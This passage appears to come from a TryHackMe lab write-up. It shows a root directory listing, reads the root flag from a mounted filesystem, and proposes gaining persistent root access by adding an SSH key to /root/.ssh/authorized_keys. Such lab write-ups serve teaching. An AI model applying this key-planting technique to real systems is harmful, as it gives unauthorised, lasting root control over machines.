drwxrwxrwt  9 root root       4096 Jan 17 12:05 tmp
drwxr-xr-x 10 root root       4096 Aug  6  2020 usr
drwxr-xr-x 14 root root       4096 Sep 15 14:42 var
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic
cd /mnt/fs2/root
cat flag
THM{REDACTED}

To get full root access we can just drop an SSH key into /root/.ssh/authorized_keys

ls -lA .ssh
total 0
-rw------- 1 root root 0 Sep 15 11:31 authorized_keys